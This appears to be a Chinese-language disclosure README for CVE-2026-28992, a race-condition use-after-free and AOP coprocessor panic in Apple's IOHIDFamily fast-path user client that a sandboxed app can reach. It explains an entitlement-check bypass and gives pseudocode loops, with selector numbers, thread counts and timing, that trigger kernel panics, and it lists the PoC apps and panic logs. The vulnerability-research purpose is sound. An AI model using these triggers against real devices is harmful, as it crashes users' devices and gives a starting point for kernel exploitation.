IOHIDEventServiceFastPathUserClient 中的 UAF 和 AOP 协处理器崩溃。无需授权(entitlements),可从应用沙盒访问。
CVE-2026-28992 | 作者:Johnny Franks (@zeroxjf)
组件: IOHIDFamily
影响: 攻击者或许能够导致应用意外终止
描述: 通过改进锁定机制修复了一个内存损坏漏洞。
两个 PoC 都会导致受影响设备内核崩溃并重启。请先保存你的工作。
IOHIDEventServiceFastPathUserClient(IOHIDFamily 内核扩展)中存在两个竞争条件。无需任何权限。可从普通应用沙盒中触达。
两种利用方式都使用 IOServiceOpen(service, task, 2, &conn)。sel0 打开门检查的是调用者提供的 OSDictionary 中的 FastPathHasEntitlement 和 FastPathMotionEventEntitlement,而不是 initWithTask 期间存储的权限标志;沙盒应用只需在输入结构中包含这些键即可通过门检查。
// open 15 connections to the same IOHIDEventService provider
io_connect_t conns[15];
for (int i = 0; i < 15; i++) {
IOServiceOpen(service, mach_task_self(), 2, &conns[i]);
IOConnectCallMethod(conns[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...); // gate
}
// thread A: conn[0] rapid close → reopen (lifecycle churn + provider ref drop)
while (!stop) {
IOConnectCallMethod(conns[0], /*sel*/ 1, &scalar, 1, NULL, 0, ...); // close
IOConnectCallMethod(conns[0], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...); // reopen
}
// threads B..N: conn[1..N] tight copyEvent loop (per-connection locking only)
while (!stop) {
uint64_t args[2] = { 0, 1 };
IOConnectCallMethod(conns[k], /*sel*/ 2, args, 2, NULL, 0, ...); // copyEvent
}
关闭路径(sel1)会无锁地释放 provider 状态并清除 +0x109。copyEvent(sel2)在每连接锁下检查另一个标志(+0x108),然后调用进入 provider。多个连接指向同一个 provider 意味着 close 和 copyEvent 在共享的 provider 侧对象上运行于不同的锁域。
// pre-open 3 opener connections
io_connect_t openers[3];
for (int i = 0; i < 3; i++) {
IOServiceOpen(service, mach_task_self(), 2, &openers[i]);
IOConnectCallMethod(openers[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}
// opener threads: continuous close → reopen
while (!stop) {
IOConnectCallMethod(openers[k], /*sel*/ 1, &scalar, 1, NULL, 0, ...);
IOConnectCallMethod(openers[k], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}
// main thread: batch pre-gate → rapid teardown loop
while (!stop) {
// create + gate 16 probe connections
io_connect_t probes[16];
for (int i = 0; i < 16; i++) {
IOServiceOpen(service, mach_task_self(), 2, &probes[i]);
IOConnectCallMethod(probes[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}
// destroy all probes — each fires async didTerminate → teardown
// teardown removes/frees provider-facing state while opener threads iterate
// provider-facing state via the open path
for (int i = 0; i < 16; i++)
mach_port_destroy(mach_task_self(), probes[i]);
usleep(80000); // 80ms race window
}
mach_port_destroy 会触发异步的 didTerminate → close/teardown,与其他连接上并发的 sel0 打开路径无同步。这还会使 SPU 后端的 provider 邮箱饱和,触发 AOP 看门狗超时。
| 路径 | 描述 |
|---|---|
UAFPoc/ | iOS 应用 — 触发 UAF(A17+ 上为 MTE 标签错误,A17 之前为数据中止) |
AOPPanicPoc/ | iOS 应用 — 通过 SPU 邮箱饱和触发 AOP 协处理器崩溃 |
panic-logs/mte-tag-fault.ips | 内核标签检查错误 — iPhone 17 Pro Max(A19 Pro,MTE+PAC) |
panic-logs/ipad-data-abort.ips | 内核数据中止 — iPad Pro 12.9" 第 2 代(A10X,无 MTE/PAC) |
panic-logs/aop-panic.ips | AOP 协处理器崩溃 — iPhone 17 Pro Max(SPU 邮箱溢出) |